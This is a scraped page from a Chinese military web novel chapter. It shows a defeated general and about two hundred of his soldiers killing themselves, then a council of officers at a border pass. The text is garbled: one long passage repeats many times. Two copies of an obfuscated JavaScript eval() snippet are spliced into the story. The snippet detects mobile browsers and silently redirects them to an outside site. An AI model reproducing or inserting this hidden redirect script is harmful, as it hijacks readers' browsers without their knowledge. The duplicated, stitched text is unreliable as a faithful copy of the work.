见到这一幕,所有人双目通红,随即缓缓举起手中的战刀,放在脖子上。 “兄弟们,主将死,我等岂能苟活?”那名千夫长咬牙说道,随即战刀划过自己的咽喉。 “嗤……” 所有人神色肃穆,没有说话,仅有一个动作,那就是用跟随自己的那把战刀划破喉咙。 二百余人全部自刎,鲜红的血液染红了马背。 浓烈的血腥味让他们胯下战马也感受到了不安,不断打着响鼻,用前蹄刨着染血的草地。 这一幕,无论是凌川和他身后的云岚军,还是陈暻垚和他身后的三百人都倍感震惊。 战场上,双方乃是生死大敌,唯有拼个你死我活。 但,这一刻,他们心里都生出一股敬佩,无论是孛儿帖这位主将,还是那些出身底层的士兵,他们都是真正的勇士。 平心而论,这些年,大周北疆之所以胜少败多,除了朝廷贪腐,地方各自为政之外,还有一个不可否认的原因,那就是胡羯人确实勇猛。 “全体听令,让道!” 随着凌川一声令下,身后六百云岚军纷纷让至两旁。 那些驮着尸体的战马犹豫片刻,随即开始试着前行,径直朝着北方而去。 孛儿帖用这种方式赢得了对手的尊重,凌川也会给他一个体面,让这些战马把他们的实力送回斡拏城,至于能否送到,那就不是他能考虑的了。 随着孛儿帖以及身边两百人自刎,这场战斗宣告结束。 一战诛杀胡羯两万主力军,可谓是大获全胜,可凌川的内心却并没有太多兴奋,身后的云岚军更是一个个神色凝重。 显然,孛儿帖带着所有人自刎的一幕,给他们的内心带来了很大的触动。 等回到曳敕滩的时候,已经接近午时。 阑州军凿开了下游的几座水坝,卸掉洪水之后,将所有胡羯军的尸体全部集中掩埋,不然,这么多尸体极有可能引发瘟疫。 随后,凌川便带着云岚军,跟随陈暻垚的队伍一起返回武定关。 武定关虽不及龙脊关和玉门关那么宏伟,但也是北疆边境上出了名的雄关,常驻五千兵马,如今边境剑拔**张,武定关兵马更是多达一万人。 入关之后,陈暻垚让人专门给云岚军分配了营地,吃过饭后,凌川便让全军进行休整。 自昨日天不亮开始,全**速赶赴曳敕滩,一直到现在,所有人都几乎没合过眼,要是换做其他队伍,根本坚持不下来。 凌川本人也是疲惫不堪,倒头便睡,一直到第二天中午,才被尿憋醒。 正当他考虑要不要回营睡个回笼觉的时候,陈暻垚找了过来。 “睡够了没?”陈暻垚笑着问道。 凌川摇了摇头,笑道:“还真没睡够!” “好了,别睡了!先跟我去节堂!”陈暻垚伸手就要来拉他。 凌川连忙后退,说道:“你好歹容我穿个衣服啊!” 随孛儿帖征战多年的百战勇士,以往无论面对多么艰难的局面,将军总会带着他们扭转战局、反败为胜。 可这一次,将军却放弃了,他们仿佛被抽掉了全身力气,瞬间失去了方向。 “我胡羯男儿死则死矣,长眠于这茫茫草原,未尝不是最好的归宿!” 孛儿帖的目光从众人脸上缓缓扫过,再度开口说道:“但,就算是死,我们也要死得有尊严!” 说完,他猛然拔出腰间的战刀,不给众人反应的机会,快速从自己的脖子抹过。 “将军!” 那名千夫长惊呼一声,奈何已经来不及。 只见一抹滚烫的鲜血喷洒而出,孛儿帖手中战刀无力掉落,他的身体也随之一软,趴在了马背上。 见到这一幕,所有人双目通红,随即缓缓举起手中的战刀,放在脖子上。 “兄弟们,主将死,我等岂能苟活?”那名千夫长咬牙说道,随即战刀划过自己的咽喉。 “嗤……” 所有人神色肃穆,没有说话,仅有一个动作,那就是用跟随自己的那把战刀划破喉咙。 二百余人全部自刎,鲜红的血液染红了马背。 浓烈的血腥味让他们胯下战马也感受到了不安,不断打着响鼻,用前蹄刨着染血的草地。 这一幕,无论是凌川和他身后的云岚军,还是陈暻垚和他身后的三百人都倍感震惊。 战场上,双方乃是生死大敌,唯有拼个你死我活。 但,这一刻,他们心里都生出一股敬佩,无论是孛儿帖这位主将,还是那些出身底层的士兵,他们都是真正的勇士。 平心而论,这些年,大周北疆之所以胜少败多,除了朝廷贪腐,地方各自为政之外,还有一个不可否认的原因,那就是胡羯人确实勇猛。 “全体听令,让道!” 随着凌川一声令下,身后六百云岚军纷纷让至两旁。 那些驮着尸体的战马犹豫片刻,随即开始试着前行,径直朝着北方而去。 孛儿帖用这种方式赢得了对手的尊重,凌川也会给他一个体面,让这些战马把他们的实力送回斡拏城,至于能否送到,那就不是他能考虑的了。 随着孛儿帖以及身边两百人自刎,这场战斗宣告结束。 一战诛杀胡羯两万主力军,可谓是大获全胜,可凌川的内心却并没有太多兴奋,身后的云岚军更是一个个神色凝重。 显然,孛儿帖带着所有人自刎的一幕,给他们的内心带来了很大的触动。 等回到曳敕滩的时候,已经接近午时。 阑州军凿开了下游的几座水坝,卸掉洪水之后,将所有胡羯军的尸体全部集中掩埋,不然,这么多尸体极有可能引发瘟疫。 随后,凌川便带着云岚军,跟随陈暻垚的队伍一起返回武定关。 武定关虽不及龙脊关和玉门关那么宏伟,但也是北疆边境上出了名的雄关,常驻五千兵马,如今边境剑拔**张,武定关兵马更是多达一万人。 入关之后,陈暻垚让人专门给云岚军分配了营地,吃过饭后,凌川便让全军进行休整。 自昨日天不亮开始,全**速赶赴曳敕滩,一直到现在,所有人都几乎没合过眼,要是换做其他队伍,根本坚持不下来。 凌川本人也是疲惫不堪,倒头便睡,一直到第二天中午,才被尿憋醒。 正当他考虑要不要回营睡个回笼觉的时候,陈暻垚找了过来。 “睡够了没?”陈暻垚笑着问道。 凌川摇了摇头,笑道:“还真没睡够!” “好了,别睡了!先跟我去节堂!”陈暻垚伸手就要来拉他。 凌川连忙后退,说道:“你好歹容我穿个衣服啊!” 随孛儿帖征战多年的百战勇士,以往无论面对多么艰难的局面,将军总会带着他们扭转战局、反败为胜。 可这一次,将军却放弃了,他们仿佛被抽掉了全身力气,瞬间失去了方向。 “我胡羯男儿死则死矣,长眠于这茫茫草原,未尝不是最好的归宿!” 孛儿帖的目光从众人脸上缓缓扫过,再度开口说道:“但,就算是死,我们也要死得有尊严!” 说完,他猛然拔出腰间的战刀,不给众人反应的机会,快速从自己的脖子抹过。 “将军!” 那名千夫长惊呼一声,奈何已经来不及。 只见一抹滚烫的鲜血喷洒而出,孛儿帖手中战刀无力掉落,他的身体也随之一软,趴在了马背上。 见到这一幕,所有人双目通红,随即缓缓举起手中的战刀,放在脖子上。 “兄弟们,主将死,我等岂能苟活?”那名千夫长咬牙说道,随即战刀划过自己的咽喉。 “嗤……” 所有人神色肃穆,没有说话,仅有一个动作,那就是用跟随自己的那把战刀划破喉咙。 二百余人全部自刎,鲜红的血液染红了马背。 浓烈的血腥味让他们胯下战马也感受到了不安,不断打着响鼻,用前蹄刨着染血的草地。 这一幕,无论是凌川和他身后的云岚军,还是陈暻垚和他身后的三百人都倍感震惊。 战场上,双方乃是生死大敌,唯有拼个你死我活。 但,这一刻,他们心里都生出一股敬佩,无论是孛儿帖这位主将,还是那些出身底层的士兵,他们都是真正的勇士。 平心而论,这些年,大周北疆之所以胜少败多,除了朝廷贪腐,地方各自为政之外,还有一个不可否认的原因,那就是胡羯人确实勇猛。 “全体听令,让道!” 随着凌川一声令下,身后六百云岚军纷纷让至两旁。 那些驮着尸体的战马犹豫片刻,随即开始试着前行,径直朝着北方而去。 孛儿帖用这种方式赢得了对手的尊重,凌川也会给他一个体面,让这些战马把他们的实力送回斡拏城,至于能否送到,那就不是他能考虑的了。 随着孛儿帖以及身边两百人自刎,这场战斗宣告结束。 一战诛杀胡羯两万主力军,可谓是大获全胜,可凌川的内心却并没有太多兴奋,身后的云岚军更是一个个神色凝重。 显然,孛儿帖带着所有人自刎的一幕,给他们的内心带来了很大的触动。 等回到曳敕滩的时候,已经接近午时。 阑州军凿开了下游的几座水坝,卸掉洪水之后,将所有胡羯军的尸体全部集中掩埋,不然,这么多尸体极有可能引发瘟疫。 随后,凌川便带着云岚军,跟随陈暻垚的队伍一起返回武定关。 武定关虽不及龙脊关和玉门关那么宏伟,但也是北疆边境上出了名的雄关,常驻五千兵马,如今边境剑拔**张,武定关兵马更是多达一万人。 入关之后,陈暻垚让人专门给云岚军分配了营地,吃过饭后,凌川便让全军进行休整。 自昨日天不亮开始,全**速赶赴曳敕滩,一直到现在,所有人都几乎没合过眼,要是换做其他队伍,根本坚持不下来。 凌川本人也是疲惫不堪,倒头便睡,一直到第二天中午,才被尿憋醒。 正当他考虑要不要回营睡个回笼觉的时候,陈暻垚找了过来。 “睡够了没?”陈暻垚笑着问道。 凌川摇了摇头,笑道:“还真没睡够!” “好了,别睡了!先跟我去节堂!”陈暻垚伸手就要来拉他。 凌川连忙后退,说道:“你好歹容我穿个衣服啊!” 随孛儿帖征战多年的百战勇士,以往无论面对多么艰难的局面,将军总会带着他们扭转战局、反败为胜。 可这一次,将军却放弃了,他们仿佛被抽掉了全身力气,瞬间失去了方向。 “我胡羯男儿死则死矣,长眠于这茫茫草原,未尝不是最好的归宿!” 孛儿帖的目光从众人脸上缓缓扫过,再度开口说道:“但,就算是死,我们也要死得有尊严!” 说完,他猛然拔出腰间的战刀,不给众人反应的机会,快速从自己的脖子抹过。 “将军!” 那名千夫长惊呼一声,奈何已经来不及。 只见一抹滚烫的鲜血喷洒而出,孛儿帖手中战刀无力掉落,他的身体也随之一软,趴在了马背上。 见到这一幕,所有人双目通红,随即缓缓举起手中的战刀,放在脖子上。 “兄弟们,主将死,我等岂能苟活?”那名千夫长咬牙说道,随即战刀划过自己的咽喉。 “嗤……” 所有人神色肃穆,没有说话,仅有一个动作,那就是用跟随自己的那把战刀划破喉咙。 二百余人全部自刎,鲜红的血液染红了马背。 浓烈的血腥味让他们胯下战马也感受到了不安,不断打着响鼻,用前蹄刨着染血的草地。 这一幕,无论是凌川和他身后的云岚军,还是陈暻垚和他身后的三百人都倍感震惊。 战场上,双方乃是生死大敌,唯有拼个你死我活。 但,这一刻,他们心里都生出一股敬佩,无论是孛儿帖这位主将,还是那些出身底层的士兵,他们都是真正的勇士。 平心而论,这些年,大周北疆之所以胜少败多,除了朝廷贪腐,地方各自为政之外,还有一个不可否认的原因,那就是胡羯人确实勇猛。 “全体听令,让道!” 随着凌川一声令下,身后六百云岚军纷纷让至两旁。 那些驮着尸体的战马犹豫片刻,随即开始试着前行,径直朝着北方而去。 孛儿帖用这种方式赢得了对手的尊重,凌川也会给他一个体面,让这些战马把他们的实力送回斡拏城,至于能否送到,那就不是他能考虑的了。 随着孛儿帖以及身边两百人自刎,这场战斗宣告结束。 一战诛杀胡羯两万主力军,可谓是大获全胜,可凌川的内心却并没有太多兴奋,身后的云岚军更是一个个神色凝重。 显然,孛儿帖带着所有人自刎的一幕,给他们的内心带来了很大的触动。 等回到曳敕滩的时候,已经接近午时。 阑州军凿开了下游的几座水坝,卸掉洪水之后,将所有胡羯军的尸体全部集中掩埋,不然,这么多尸体极有可能引发瘟疫。 随后,凌川便带着云岚军,跟随陈暻垚的队伍一起返回武定关。 武定关虽不及龙脊关和玉门关那么宏伟,但也是北疆边境上出了名的雄关,常驻五千兵马,如今边境剑拔**张,武定关兵马更是多达一万人。 入关之后,陈暻垚让人专门给云岚军分配了营地,吃过饭后,凌川便让全军进行休整。 自昨日天不亮开始,全**速赶赴曳敕滩,一直到现在,所有人都几乎没合过眼,要是换做其他队伍,根本坚持不下来。 凌川本人也是疲惫不堪,倒头便睡,一直到第二天中午,才被尿憋醒。 正当他考虑要不要回营睡个回笼觉的时候,陈暻垚找了过来。 “睡够了没?”陈暻垚笑着问道。 凌川摇了摇头,笑道:“还真没睡够!” “好了,别睡了!先跟我去节堂!”陈暻垚伸手就要来拉他。 凌川连忙后退,说道:“你好歹容我穿个衣服啊!” 随孛儿帖征战多年的百战勇士,以往无论面对多么艰难的局面,将军总会带着他们扭转战局、反败为胜。 可这一次,将军却放弃了,他们仿佛被抽掉了全身力气,瞬间失去了方向。 “我胡羯男儿死则死矣,长眠于这茫茫草原,未尝不是最好的归宿!” 孛儿帖的目光从众人脸上缓缓扫过,再度开口说道:“但,就算是死,我们也要死得有尊严!” 说完,他猛然拔出腰间的战刀,不给众人反应的机会,快速从自己的脖子抹过。 “将军!” 那名千夫长惊呼一声,奈何已经来不及。 只见一抹滚烫的鲜血喷洒而出,孛儿帖手中战刀无力掉落,他的身体也随之一软,趴在了马背上。 见到这一幕,所有人双目通红,随即缓缓举起手中的战刀,放在脖子上。 “兄弟们,主将死,我等岂能苟活?”那名千夫长咬牙说道,随即战刀划过自己的咽喉。 “嗤……” 所有人神色肃穆,没有说话,仅有一个动作,那就是用跟随自己的那把战刀划破喉咙。 二百余人全部自刎,鲜红的血液染红了马背。 浓烈的血腥味让他们胯下战马也感受到了不安,不断打着响鼻,用前蹄刨着染血的草地。 这一幕,无论是凌川和他身后的云岚军,还是陈暻垚和他身后的三百人都倍感震惊。 战场上,双方乃是生死大敌,唯有拼个你死我活。 但,这一刻,他们心里都生出一股敬佩,无论是孛儿帖这位主将,还是那些出身底层的士兵,他们都是真正的勇士。 平心而论,这些年,大周北疆之所以胜少败多,除了朝廷贪腐,地方各自为政之外,还有一个不可否认的原因,那就是胡羯人确实勇猛。 “全体听令,让道!” 随着凌川一声令下,身后六百云岚军纷纷让至两旁。 那些驮着尸体的战马犹豫片刻,随即开始试着前行,径直朝着北方而去。 孛儿帖用这种方式赢得了对手的尊重,凌川也会给他一个体面,让这些战马把他们的实力送回斡拏城,至于能否送到,那就不是他能考虑的了。 随着孛儿帖以及身边两百人自刎,这场战斗宣告结束。 一战诛杀胡羯两万主力军,可谓是大获全胜,可凌川的内心却并没有太多兴奋,身后的云岚军更是一个个神色凝重。 显然,孛儿帖带着所有人自刎的一幕,给他们的内心带来了很大的触动。 等回到曳敕滩的时候,已经接近午时。 阑州军凿开了下游的几座水坝,卸掉洪水之后,将所有胡羯军的尸体全部集中掩埋,不然,这么多尸体极有可能引发瘟疫。 随后,凌川便带着云岚军,跟随陈暻垚的队伍一起返回武定关。 武定关虽不及龙脊关和玉门关那么宏伟,但也是北疆边境上出了名的雄关,常驻五千兵马,如今边境剑拔**张,武定关兵马更是多达一万人。 入关之后,陈暻垚让人专门给云岚军分配了营地,吃过饭后,凌川便让全军进行休整。 自昨日天不亮开始,全**速赶赴曳敕滩,一直到现在,所有人都几乎没合过眼,要是换做其他队伍,根本坚持不下来。 凌川本人也是疲惫不堪,倒头便睡,一直到第二天中午,才被尿憋醒。 正当他考虑要不要回营睡个回笼觉的时候,陈暻垚找了过来。 “睡够了没?”陈暻垚笑着问道。 凌川摇了摇头,笑道:“还真没睡够!” “好了,别睡了!先跟我去节堂!”陈暻垚伸手就要来拉他。 凌川连忙后退,说道:“你好歹容我穿个衣服啊!” 随孛儿帖征战多年的百战勇士,以往无论面对多么艰难的局面,将军总会带着他们扭转战局、反败为胜。 可这一次,将军却放弃了,他们仿佛被抽掉了全身力气,瞬间失去了方向。 “我胡羯男儿死则死矣,长眠于这茫茫草原,未尝不是最好的归宿!” 孛儿帖的目光从众人脸上缓缓扫过,再度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975782|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口说道:“但,就算是死,我们也要死得有尊严!” 说完,他猛然拔出腰间的战刀,不给众人反应的机会,快速从自己的脖子抹过。 “将军!” 那名千夫长惊呼一声,奈何已经来不及。 只见一抹滚烫的鲜血喷洒而出,孛儿帖手中战刀无力掉落,他的身体也随之一软,趴在了马背上。 见到这一幕,所有人双目通红,随即缓缓举起手中的战刀,放在脖子上。 “兄弟们,主将死,我等岂能苟活?”那名千夫长咬牙说道,随即战刀划过自己的咽喉。 “嗤……” 所有人神色肃穆,没有说话,仅有一个动作,那就是用跟随自己的那把战刀划破喉咙。 二百余人全部自刎,鲜红的血液染红了马背。 浓烈的血腥味让他们胯下战马也感受到了不安,不断打着响鼻,用前蹄刨着染血的草地。 这一幕,无论是凌川和他身后的云岚军,还是陈暻垚和他身后的三百人都倍感震惊。 战场上,双方乃是生死大敌,唯有拼个你死我活。 但,这一刻,他们心里都生出一股敬佩,无论是孛儿帖这位主将,还是那些出身底层的士兵,他们都是真正的勇士。 平心而论,这些年,大周北疆之所以胜少败多,除了朝廷贪腐,地方各自为政之外,还有一个不可否认的原因,那就是胡羯人确实勇猛。 “全体听令,让道!” 随着凌川一声令下,身后六百云岚军纷纷让至两旁。 那些驮着尸体的战马犹豫片刻,随即开始试着前行,径直朝着北方而去。 孛儿帖用这种方式赢得了对手的尊重,凌川也会给他一个体面,让这些战马把他们的实力送回斡拏城,至于能否送到,那就不是他能考虑的了。 随着孛儿帖以及身边两百人自刎,这场战斗宣告结束。 一战诛杀胡羯两万主力军,可谓是大获全胜,可凌川的内心却并没有太多兴奋,身后的云岚军更是一个个神色凝重。 显然,孛儿帖带着所有人自刎的一幕,给他们的内心带来了很大的触动。 等回到曳敕滩的时候,已经接近午时。 阑州军凿开了下游的几座水坝,卸掉洪水之后,将所有胡羯军的尸体全部集中掩埋,不然,这么多尸体极有可能引发瘟疫。 随后,凌川便带着云岚军,跟随陈暻垚的队伍一起返回武定关。 武定关虽不及龙脊关和玉门关那么宏伟,但也是北疆边境上出了名的雄关,常驻五千兵马,如今边境剑拔**张,武定关兵马更是多达一万人。 入关之后,陈暻垚让人专门给云岚军分配了营地,吃过饭后,凌川便让全军进行休整。 自昨日天不亮开始,全**速赶赴曳敕滩,一直到现在,所有人都几乎没合过眼,要是换做其他队伍,根本坚持不下来。 凌川本人也是疲惫不堪,倒头便睡,一直到第二天中午,才被尿憋醒。 正当他考虑要不要回营睡个回笼觉的时候,陈暻垚找了过来。 “睡够了没?”陈暻垚笑着问道。 凌川摇了摇头,笑道:“还真没睡够!” “好了,别睡了!先跟我去节堂!”陈暻垚伸手就要来拉他。 凌川连忙后退,说道:“你好歹容我穿个衣服啊!” 随孛儿帖征战多年的百战勇士,以往无论面对多么艰难的局面,将军总会带着他们扭转战局、反败为胜。 可这一次,将军却放弃了,他们仿佛被抽掉了全身力气,瞬间失去了方向。 “我胡羯男儿死则死矣,长眠于这茫茫草原,未尝不是最好的归宿!” 孛儿帖的目光从众人脸上缓缓扫过,再度开口说道:“但,就算是死,我们也要死得有尊严!” 说完,他猛然拔出腰间的战刀,不给众人反应的机会,快速从自己的脖子抹过。 “将军!” 那名千夫长惊呼一声,奈何已经来不及。 只见一抹滚烫的鲜血喷洒而出,孛儿帖手中战刀无力掉落,他的身体也随之一软,趴在了马背上。 见到这一幕,所有人双目通红,随即缓缓举起手中的战刀,放在脖子上。 “兄弟们,主将死,我等岂能苟活?”那名千夫长咬牙说道,随即战刀划过自己的咽喉。 “嗤……” 所有人神色肃穆,没有说话,仅有一个动作,那就是用跟随自己的那把战刀划破喉咙。 二百余人全部自刎,鲜红的血液染红了马背。 浓烈的血腥味让他们胯下战马也感受到了不安,不断打着响鼻,用前蹄刨着染血的草地。 这一幕,无论是凌川和他身后的云岚军,还是陈暻垚和他身后的三百人都倍感震惊。 战场上,双方乃是生死大敌,唯有拼个你死我活。 但,这一刻,他们心里都生出一股敬佩,无论是孛儿帖这位主将,还是那些出身底层的士兵,他们都是真正的勇士。 平心而论,这些年,大周北疆之所以胜少败多,除了朝廷贪腐,地方各自为政之外,还有一个不可否认的原因,那就是胡羯人确实勇猛。 “全体听令,让道!” 随着凌川一声令下,身后六百云岚军纷纷让至两旁。 那些驮着尸体的战马犹豫片刻,随即开始试着前行,径直朝着北方而去。 孛儿帖用这种方式赢得了对手的尊重,凌川也会给他一个体面,让这些战马把他们的实力送回斡拏城,至于能否送到,那就不是他能考虑的了。 随着孛儿帖以及身边两百人自刎,这场战斗宣告结束。 一战诛杀胡羯两万主力军,可谓是大获全胜,可凌川的内心却并没有太多兴奋,身后的云岚军更是一个个神色凝重。 显然,孛儿帖带着所有人自刎的一幕,给他们的内心带来了很大的触动。 等回到曳敕滩的时候,已经接近午时。 阑州军凿开了下游的几座水坝,卸掉洪水之后,将所有胡羯军的尸体全部集中掩埋,不然,这么多尸体极有可能引发瘟疫。 随后,凌川便带着云岚军,跟随陈暻垚的队伍一起返回武定关。 武定关虽不及龙脊关和玉门关那么宏伟,但也是北疆边境上出了名的雄关,常驻五千兵马,如今边境剑拔**张,武定关兵马更是多达一万人。 入关之后,陈暻垚让人专门给云岚军分配了营地,吃过饭后,凌川便让全军进行休整。 自昨日天不亮开始,全**速赶赴曳敕滩,一直到现在,所有人都几乎没合过眼,要是换做其他队伍,根本坚持不下来。 凌川本人也是疲惫不堪,倒头便睡,一直到第二天中午,才被尿憋醒。 正当他考虑要不要回营睡个回笼觉的时候,陈暻垚找了过来。 “睡够了没?”陈暻垚笑着问道。 凌川摇了摇头,笑道:“还真没睡够!” “好了,别睡了!先跟我去节堂!”陈暻垚伸手就要来拉他。 凌川连忙后退,说道:“你好歹容我穿个衣服啊!” 随孛儿帖征战多年的百战勇士,以往无论面对多么艰难的局面,将军总会带着他们扭转战局、反败为胜。 可这一次,将军却放弃了,他们仿佛被抽掉了全身力气,瞬间失去了方向。 “我胡羯男儿死则死矣,长眠于这茫茫草原,未尝不是最好的归宿!” 孛儿帖的目光从众人脸上缓缓扫过,再度开口说道:“但,就算是死,我们也要死得有尊严!” 说完,他猛然拔出腰间的战刀,不给众人反应的机会,快速从自己的脖子抹过。 “将军!” 那名千夫长惊呼一声,奈何已经来不及。 只见一抹滚烫的鲜血喷洒而出,孛儿帖手中战刀无力掉落,他的身体也随之一软,趴在了马背上。 见到这一幕,所有人双目通红,随即缓缓举起手中的战刀,放在脖子上。 “兄弟们,主将死,我等岂能苟活?”那名千夫长咬牙说道,随即战刀划过自己的咽喉。 “嗤……” 所有人神色肃穆,没有说话,仅有一个动作,那就是用跟随自己的那把战刀划破喉咙。 二百余人全部自刎,鲜红的血液染红了马背。 浓烈的血腥味让他们胯下战马也感受到了不安,不断打着响鼻,用前蹄刨着染血的草地。 这一幕,无论是凌川和他身后的云岚军,还是陈暻垚和他身后的三百人都倍感震惊。 战场上,双方乃是生死大敌,唯有拼个你死我活。 但,这一刻,他们心里都生出一股敬佩,无论是孛儿帖这位主将,还是那些出身底层的士兵,他们都是真正的勇士。 平心而论,这些年,大周北疆之所以胜少败多,除了朝廷贪腐,地方各自为政之外,还有一个不可否认的原因,那就是胡羯人确实勇猛。 “全体听令,让道!” 随着凌川一声令下,身后六百云岚军纷纷让至两旁。 那些驮着尸体的战马犹豫片刻,随即开始试着前行,径直朝着北方而去。 孛儿帖用这种方式赢得了对手的尊重,凌川也会给他一个体面,让这些战马把他们的实力送回斡拏城,至于能否送到,那就不是他能考虑的了。 随着孛儿帖以及身边两百人自刎,这场战斗宣告结束。 一战诛杀胡羯两万主力军,可谓是大获全胜,可凌川的内心却并没有太多兴奋,身后的云岚军更是一个个神色凝重。 显然,孛儿帖带着所有人自刎的一幕,给他们的内心带来了很大的触动。 等回到曳敕滩的时候,已经接近午时。 阑州军凿开了下游的几座水坝,卸掉洪水之后,将所有胡羯军的尸体全部集中掩埋,不然,这么多尸体极有可能引发瘟疫。 随后,凌川便带着云岚军,跟随陈暻垚的队伍一起返回武定关。 武定关虽不及龙脊关和玉门关那么宏伟,但也是北疆边境上出了名的雄关,常驻五千兵马,如今边境剑拔**张,武定关兵马更是多达一万人。 入关之后,陈暻垚让人专门给云岚军分配了营地,吃过饭后,凌川便让全军进行休整。 自昨日天不亮开始,全**速赶赴曳敕滩,一直到现在,所有人都几乎没合过眼,要是换做其他队伍,根本坚持不下来。 凌川本人也是疲惫不堪,倒头便睡,一直到第二天中午,才被尿憋醒。 正当他考虑要不要回营睡个回笼觉的时候,陈暻垚找了过来。 “睡够了没?”陈暻垚笑着问道。 凌川摇了摇头,笑道:“还真没睡够!” “好了,别睡了!先跟我去节堂!”陈暻垚伸手就要来拉他。 凌川连忙后退,说道:“你好歹容我穿个衣服啊!” 第154章 武定关议事! 在外作战,凌川并无常服,只能披着铠甲跟随陈暻垚前往节堂。 所谓节堂,就是将军府、都尉府内的议事堂。 “伤势怎么样了?凌川问道。 “不过是点皮外伤,用了你的金疮药粉,已经结痂了!陈暻垚回答道。 当初,凌川离开狼烽口的时候,把金创药的药方写了一份交给陈暻垚,这种东西在军中可是保命的东西,以他二人的关系,凌川自然不会藏私。 “现在局势如何?敌军可有动作?凌川又问。 “情况不太妙,一会再说吧! 交谈间,两人已经来到节堂,堂内有七八名将领,皆是校尉。 见陈暻垚带着凌川走进来,所有人同时起身对着二人行了一礼。 这一下,搞得凌川不知所措,只能看向陈暻垚,后者笑了笑,伸手示意道: “都是自家兄弟,大家不必客气,入座吧! 陈暻垚坐在主位,而凌川却被他拉着坐在了右手边次席。 紧接着,陈暻垚给凌川一一介绍了这七八名校尉,被介绍到的人,主动对凌川抱拳打招呼,眼神中带着敬重之色。 “你别看他们一个个面相憨厚,其实没一个好鸟,我刚来的时候,他们没少给我使绊子,就想把我这个都尉搞下台! 凌川又岂会不明白,陈暻垚能当面说出这样的话,说明他跟这群下属的关系不错。 果然,几名校尉哈哈大笑,其中一人说道:“大人,这都多久的事儿了,你还翻老底可就没意思了啊! 确实如陈暻垚所说,他从狼烽口被调到武定关担任都尉的时候,这些平日里谁也不服谁的校尉竟然默契地放下恩怨,将矛头一致对准陈暻垚。 一方面是不想让这个都尉之位落入一个‘外人’手中,再则是他们打心底不服陈暻垚。 尽管陈暻垚此前在狼烽口立下赫赫战功,可他们依旧不认为陈暻垚够资格做自己的上级。 可陈暻垚也不是省油的灯,他先是对这些校尉进行分化,拉拢一部分,疏远一部分,打压一部分,然后在对症下药、逐个击破。 不到两个月时间,那些不服他的校尉都被其收拾得服服帖帖。 然而,就在这些校尉担心会遭到陈暻垚的报复之时,后者则是把他们召集起来喝了一顿酒,并且,开诚布公地告诉他们,以往的事情,自己不会计较,往后大家都是兄弟,自己会与他们同生死共进退。 都说真诚才是必杀技,这话一点没 错。 这些边军汉子就算有点心机,跟朝堂之上那些老狐狸相比,根本不值一提。 事实上,在这两个月里,陈暻垚所表现出来的才能,也得到了大家的认可,他先是整顿军纪,然后亲自练兵,所用的,正是之前凌川在狼烽口所编排的那一系列方法。 从步兵的五行锥阵到骑兵的骑射和阵型训练,陈暻垚都是亲力亲为,短短三个月下来,武定关这五千兵马的整体实力提升了一倍不止。 紧接着,亲兵校尉蒋晟搬来两坛酒,凌川一看这酒坛和封泥便认出其来历。 “这酒你哪儿来的?” 陈暻垚笑道:“自然是从狼烽口带来的,我收买他们,你这狼血可算是立了大功!” “我以前怎么就没发现,你还有这么鸡贼的一面!”凌川叹息道。 众人各自倒了一碗酒,陈暻垚提议道:“来,咱们一起感谢凌校尉给大家送来的天大军功!” “凌校尉,咱们都尉大人可没少提起你,以前都觉得他在吹牛逼,这次一见,算是见识到你的无双风采了!”一名四十出头,面向粗犷的校尉双手举起酒碗说道。 “哈哈,凌校尉,这次多亏你运筹帷幄,让咱们不费一兵一卒便拿下两万敌军的军功,我们敬你!” “各位老哥客气了,大家都是大周边军,何须分你我,有军功一起拿!”凌川朗声笑道。 两万人的军功确实让人眼红,但凌川却一个都不想要,全部送给了陈暻垚。 一来是,云岚军区区一千五百人,之前两战的军功足矣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977492|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吃太多会噎着这个道理凌川又岂会不明白。 反正都是要拱手让人,那为何不送给陈暻垚? 再则,他此次阑州之行可是擅自行动,其目的是帮陈暻垚,若是还上报军功,那岂不是不打自招? “好了,说正事!”陈暻垚放下酒碗,正色说道。 众人也都收起脸上的笑容,正襟危坐。 “今早阑州传来秘报,许将军走了!” 听到这话,所有人神色皆是一变,此前,许牧舟**重伤的消息一直保密,对外公布的是许将军确实**,不过并无大碍。 其真实情况,也只有陈暻垚等极少数人知晓。 刺杀许牧舟的**并未潜入将军府,而是在阑州城内,当日许牧舟从军营返回将军府的途中,埋伏在半道的**突然动手。 而当时,许牧舟身边的亲兵大部分都留在军营,只有一支小队跟随。 那支亲兵小队奋力厮杀,最终全员战死,许牧舟也被**射中要害,好在巡防士兵闻讯赶来,将所有**全部诛杀,但许牧舟却陷入昏迷之中。 “蛇窟**都找到了吗?”亲兵校尉蒋晟问道。 “除了被当场诛杀的之外,其余**已经当夜趁乱撤出了关外!” 陈暻垚继续说道:“昨夜,敌军忽然对朝天垭发起进攻,虽只是一次试探,但我方却损失了近千人!” 听到这话,众人不由得倒吸一口凉气,仅仅是试探,便损失近千人,由此可见胡羯人这次是铁了心要攻破朝天垭了。 “如今,阑州诸多重要位置空缺,一切军务皆由薛将军代领,他让我回阑州主持内务!”陈暻垚继续说道。 众人闻言再度变得紧张起来,其中一名将领忍不住出声问道:“都尉大人,你走了,这武定关咋办?” 陈暻垚笑了笑,说道:“要是两日前,我还真不放心去阑州,不过现在不担心了!” 说完,他便将目光看向凌川,后者连忙摆手说道:“你看着**啥?我不过是个外人,这事儿**不了!” 第155章 